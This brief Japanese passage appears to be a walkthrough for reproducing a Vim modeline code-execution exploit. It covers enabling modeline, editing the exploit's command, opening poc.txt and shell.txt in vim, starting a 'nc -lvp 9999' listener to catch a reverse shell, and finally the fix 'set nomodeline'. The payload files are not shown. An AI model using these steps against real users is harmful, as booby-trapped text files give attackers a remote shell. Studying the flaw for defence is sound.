
前提としてmodeline機能を有効にする必要があります
一般ユーザーではmodeline機能はデフォルトで有効ですが、rootユーザーではデフォルトで無効です。
echo &modeline で有効かどうかを確認します。1が有効、0が無効です。
ない場合は、~/.vimrc(ファイルがなければ作成してください)に set modeline を追加してください。
自分で書き込む場合は、エスケープ文字 x1b が非表示文字であることに注意が必要です。
第二のエクスプロイトコードを修正する簡単な方法は、ソースファイルをダウンロードして実行コマンド部分を修正することです。また、バイナリエディタを使用して自分で書き込んだり修正したりすることもできます。
poc.txt:
vim poc.txt
shell.txt:
nc -lvp 9999
vim shell.txt
その後、シェルを取得できます
set nomodeline を追加して、modelineを無効にする